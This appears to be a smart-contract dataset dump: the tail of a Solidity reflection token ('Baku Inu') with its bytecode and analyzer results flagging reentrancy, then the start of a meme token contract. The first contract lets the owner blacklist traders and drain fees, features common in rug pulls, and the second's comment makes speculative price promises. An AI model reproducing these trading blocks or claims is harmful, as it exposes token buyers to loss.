uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f42616b7520496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f42414b5500000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209cf3bed2e9efbdb715283f5658e431315c5948704b0cf713d9b18ea740bc846f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,948 |
0xb84e9aeadb8db6fd61d868800c85f17f9947d42c
|
// SPDX-License-Identifier: Unlicensed
/**
Bored Ape is bored
I just smashed my TV in front of 30 guests at my party because of Otherside mint
My wife just took our crying kids and said they're all spending the week at a hotel
This experience has ruined my life and my party
I can't handle this anymore
Goodbye BAYC I am no longer a fan
We will airdrop to those who have spend gas
Each address is rewarded with 1 $BAG
Let's pull the value of 1 $BAG into 2 ETH
Hodl
Today is the day
A new era has come
Of course, you can buy 1,000,000,000, they will take you to the moon because they only have 1 $BAG
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
